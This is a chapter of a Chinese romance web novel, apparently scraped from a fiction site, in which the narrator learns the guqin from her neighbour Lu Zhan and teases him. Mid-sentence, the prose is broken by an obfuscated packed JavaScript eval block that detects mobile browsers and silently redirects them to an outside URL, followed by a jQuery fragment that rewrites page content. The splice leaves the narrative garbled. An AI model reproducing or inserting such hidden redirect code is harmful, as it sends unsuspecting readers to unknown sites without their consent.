4. 第 4 章

作品:《陆大人偏要招惹寡妇

    真正开始学弹琴后我深刻感觉到学弹琴真是一件很不容易的事情!


    这种不容易有一半原因来源于陆辗,他是个剑走偏锋的老师,不是个耐心细致的老师,他教我学琴是教我指法和技巧,而后他亲自弹奏两遍,就开始让我自己弹。


    我承认我记性是不错,但我听了两遍后也只能记住旋律,这就要让我自己来,实在是难为我,我被赶鸭子上架,抱怨几句,他说我弹得不对他再指导我。


    这老师当得忒不称职,介于是不收脩金的老师,我想了想觉得如此也算正常,不要有太多要求,想通后心情舒畅,我便这么磕磕绊绊开始学弹琴。


    不得不说弹琴真是一种极其修身养性、陶冶情操的行为,我弹了几日,明显感觉到我的心境平和了许多,简而言之就是我麻木了,我感觉自己是个傀儡,没有自我意识,只会呆滞地重复动作,听不见耳边难以入耳的乐声。


    为什么说难以入耳,这实在是我有自知之明,还有旁事可以佐证。


    一开始,陆辗爹娘见我到他家学弹琴,很是欢迎我,第二日开始,他们看到我还是很热情但是总会嘱咐陆辗好好教我之后一大早就出了门去,回来时我大约已经回家了,再过几日,他们才开始待在家中。


    实在惭愧,我承认前几日刚开始学弹琴时,我弹奏的乐声是太难入耳,他们大约是经受不住这摧残,才早出晚归。


    我亦是有好几日都心有戚戚,奈何陆辗面色无虞,还能在这样的乐声中安然看书,我便大胆弹奏了起来,偶尔我心虚抬头,觑见陆辗捏紧了手中的书,手下又错了一个音。


    我觉得即便是难听也不能完全怪我嘛,哪有他这样让我自由发挥便算是教我的?就像幼时爹教我凫水,直接将我丢进浅水滩让我自己扑腾,看我大约要喝水喝饱了将我拉起来,让我吐水,再休息一会儿,好了后又将我丢进去,如此循环往复,我扑腾着扑腾着竟神奇地学会了凫水!


    当时还有其他同龄伙伴也在凫水玩耍,其中便有陆辗,他还在不远处观摩我学凫水,笑话我,我想约摸是在那时他就看出来我天赋异禀,于是如法炮制,学了我爹的法子,让我自己扑腾,上回教我学笛子他也是用的这法子。


    子曾有曰,因材施教,不能我学什么都用同样的方式教学吧?


    虽然老师是很不用心,架不住学生我太聪慧,半月过去,我感觉我学会凤求凰了,好听不好听另说,反正我趁着陆辗偶尔出去时偷偷完整地弹过几回,是会弹了。


    但是我不想就这样弹给陆辗听,他都还没有单独完整弹给我听过,教我的时候弹得不算数。


    我一向如此,学会了便不想在继续深造,心思也会开始漂浮起来,再学时便开始耍赖让陆辗教我其他曲子,他自然是不肯的,他只答应了我教我弹凤求凰,我若学会了,这短暂的师徒关系便结束了。


    那我只能,一直学不会了,哈哈哈!


    午后阳光明媚,蝉鸣声声,我故意胡乱拨弄着琴弦去和蝉鸣声,片刻后,陆辗忍无可忍放下手中的书,看向我来:“花奴,要学就好好学,你再这样不认真,我就——”


    他终于理会我了,我抓紧时机耍赖:“你这根本不是教我,你要一点一点教我,像这样让我自己弹,你在一旁听,我怎么知道怎么弹。”


    “我看你学得挺好。”陆辗冷淡道,“哪里不会?”


    我拍了拍我旁边位置:“你坐过来教我嘛,好陆辗,好不好?”


    “你又在打什么鬼主意?”话是这么说,陆辗还是依我,另取了一个蒲团,坐到了我旁边来,他刚坐下,霎时间,一股冷香袭来。


    我前头嗅去:“嗯?好香啊,陆辗,你用了香?”


    陆辗抬手按着我的脑门将我推开,道:“最近买的安神香。”


    原来是安神香,我又好奇问他:“咦,你最近睡不好吗?需要用安神香。”


    “暑热不好睡,这香气偏冷,点了好睡些。”


    说起最近的暑热,我深有感受,猛猛点头表示赞同:“最近半个月是很热,我也睡不好,总要后半夜热气退了才安睡。”


    “香有多的,一会儿你拿一些回去。”


    “好啊好啊,谢谢你哦,好陆辗。”


    陆辗叹息,直摇头,道:“好了,坐好,别再故意说些有的没的,继续。”


    我才说了几句话啊又要继续,我慢吞吞将手覆于琴上,吐息,凝神。


    不知为何,突然就紧张了起来,我本来记得很牢固的旋律莫名其妙变得乱七八糟起来,手下频频出错,越想不要错,越是错,一曲凤求凰被我弹成了诡异的曲调。


    我能感觉到我额头已经布满了密密麻麻的细汗,自信过了头,失手了呢,脸面尽失,我再也不敢说我已经学会了。


    我只敢余光去看陆辗,他果然蹙眉,神色严肃,我不安地往旁边挪了挪位置。


    “错了这么多处,”我听得出来陆辗说这话时似乎咬牙切齿,我又想挪了一步,被他犀利目光吓止,低头静听他斥话,“你真是越弹越回去了,还不如外面蝉鸣有调。”


    我害臊地将脑袋垂得更低,不敢回嘴,我是知道我弹得很不好了,此刻我应该虚心求教。


    “所以要你教我嘛!”


    “好好看,好好听。”


    陆辗说着,详细教了我一遍,他竟然开始认真教我了,他认真的时候还挺不一样的,我听着他为我做讲解,脑袋时而迷糊时而清醒,是因为我时而听着,时而看着他出神,直到听到他说“继续”,我终于回神。


    我再次化身傀儡,他命令发出后,我顿时开始继续弹琴,我尽量静心沉气,心浮气躁,索性闭上了眼睛弹,我记得岑掌教弹琴时总是闭着眼睛,想来此法应很适合弹琴。


    我脑海中有了一些模糊画面,渐渐地我开始沉浸于那画面中,待我恢复知觉,我发觉我已被陆辗圈入怀中,他双手轻覆在我手背上,一点一点纠正我,都是一些细节之处,琴声与琴声的不同就在于细节,难怪我觉得这一次我弹得格外的好,原来是陆辗带着我弹的。


    只是,他终于想起来做个好老师教我就教我嘛,为什么要这样教我!


    我是很想他亲自教我,央求许久他都没有妥协,此刻心愿达成,他真这样教我我又有些受不住了,他声音仿若山间清泉,潺潺流淌,就在我耳边,我轰的一下仿佛被水煮,整个人发起热来。


    我知陆辗只是为了更好的教我,他如此用心指点我,他是心无旁骛,如此只是为了方便教我怎么弹琴,我本也应该专心学习,可我心脏却跳个不停,过了会儿,脑子更不灵光了,脸颊好像不仅仅是热,而是烫了起来,我怀疑我是不是要熟了?


    啊,早知道就不要把陆辗叫过来了,他这样教我还不如让我自己折腾,这样教我我是永远也学不会的,自己折腾我还能折腾会。


    我手完全不动,陆辗自然觉察,他沉声道:“你又在想什么?别分心,还想不想学?”


    我抬起手往后用手肘碰了碰他,着急忙慌地道:“好了,陆辗,我知道怎么弹了,你别挨我这么近,热死了,你可以继续回去看书听我弹琴了。”


    陆辗终于不再环住我,我松了口气,下一刻,我发觉他并未起身离去,而是后仰坐着,用手肘撑着身体,懒洋洋声音自我身后不远处传来:“你学没学会是由老师评断,不是你自己说,再弹一遍,我听着没问题就让你自己来。”


    想来要赶他走只能我不要出错,我平复着凌乱心绪,努力忽视我身后陆辗的目光,开始弹琴,幸好有清风助我,清风吹来,我的燥热消退了很多,宁心静气,开始弹琴,哼,没想到,我故意磋磨还是就这样弹给陆辗听了,啊,好不甘心啊!


    一曲毕,我一个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310284|167266||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    音都没有弹错,以为陆辗要夸赞我几句,不曾有他幽幽开口:“你在幽怨什么?”


    好吧,这热烈求爱的凤求凰的确是被我弹成了幽怨曲子,我不仅很不甘心,为了不分心,还逼迫我自己想岑掌教,想他如何抚琴,学着他的样子,便弹出了这样的琴声。


    自从开始学琴后我一直觉得陆辗和岑掌教才能称得上抚琴,而我是弹琴,这其中不同再于抚琴是人琴合一,而我是弹拨琴弦,没有那种用心待琴的感觉,我是太浮躁了。


    我侧身扬着下巴看陆辗:“反正我是没弹错吧?”


    “嗯。”


    “那不就成了。”


    “你在幽怨什么?”陆辗复问。


    我看着陆辗审视的目光,没想到他这样执着,一定要问个清楚,我只能故作委屈,胡说八道起来:“我在幽怨我弹了这么久的琴没有一口水喝。”


    “怪我不给你水喝?又不是不让你自己去喝。”陆辗说着话站了起来,往门口走去,头也不回地问我,“有凉茶,你要喝吗?还是想喝水。”


    “有凉茶吗,那我要凉茶。”


    不久,陆辗拿着托盘回来,托盘上是精致的青白瓷茶壶和茶杯,他爹是烧瓷的,他家所用盛物的器皿便都是青白瓷,而且全是上好的青白瓷,特别漂亮。


    我和陆辗一起坐到了案牍旁,我正想倒茶喝,陆辗已经为我倒了一杯。


    我接过茶杯,笑吟吟地歪头道谢:“多谢陆老师款待。”


    陆辗嘁声:“惯会卖乖。”


    喝完了茶我还赖着不走,不去继续练琴,而是趴在案牍上,看还在喝茶的陆辗,他不像我一样囫囵一口饮尽,只为了解渴,便是凉茶,也是在仔细地品其中滋味。


    望着他眉眼,不禁又想感慨,好像真的是生得很好的呢。


    “陆辗。”我唤他。


    “嗯。”陆辗放下了茶杯,垂目看我。


    “我听到有人把你比作宋玉。”


    陆辗莞尔,是没有太惊讶,真是不谦虚。


    我腹诽着,继续道:“古书记载,宋玉家东邻有个女子,那姑娘貌美,他写了一篇赋,盛赞那女子美貌,从此很多人用东邻之女形容貌美女子,你看,我也是你东邻,这也就是说,我是个貌美女子,你说是不是啊陆辗,我是不是个貌美如花?”


    陆辗耐心听我说完这一番话,以他聪明的程度,早看穿了我话中深意,他直接点破我的虚荣心:“你弯弯绕绕说这么一大段话,想听我夸你长得美?”


    “那你快夸,宋玉写赋夸了他家东邻,你要不要也作一首诗夸我?”不过臆想了一下陆辗为我作诗,我嘴角的笑意便止不住。


    期待地望着陆辗。


    “你想得美。”陆辗无情拒绝道。


    一盆凉水当头泼下,当然这在我意料之中,我不感到失落,陆辗没有做出翻白眼这样不雅的行为是已经很得体了。


    不过,陆辗真的是一个极口是心非的人,他嘴上说我想得美,实则他很早就有写关于我的诗,只是没有给我看过,他觉得写得不很好,佳句难得,一直到他写了一首他认为很好的才赠给了我。


    “花奴,花奴……”


    我似乎听到了阿娘的呼唤声。


    “快起来了,你不是说晚上要和陆辗去看傩戏,再不起来梳妆你要邋邋遢遢地去了。”


    迷迷糊糊中听到这话我瞬间惊醒了过来,一睁眼就看到了阿娘,


    忘了外面天色一眼,我赶紧掀开被子起来,直奔梳妆台,一面问阿娘:“阿娘,几时了?”


    “未正刚过,来得及,你不要慌慌忙忙。”


    “我不慌,阿娘你先出去吧,我要换衣梳妆了,一会儿叫你给我梳头。”


    阿娘说了一声“好”便一边笑着一边步出了我卧房,闭门时还感叹了一句:“我们家花奴真的长大了。”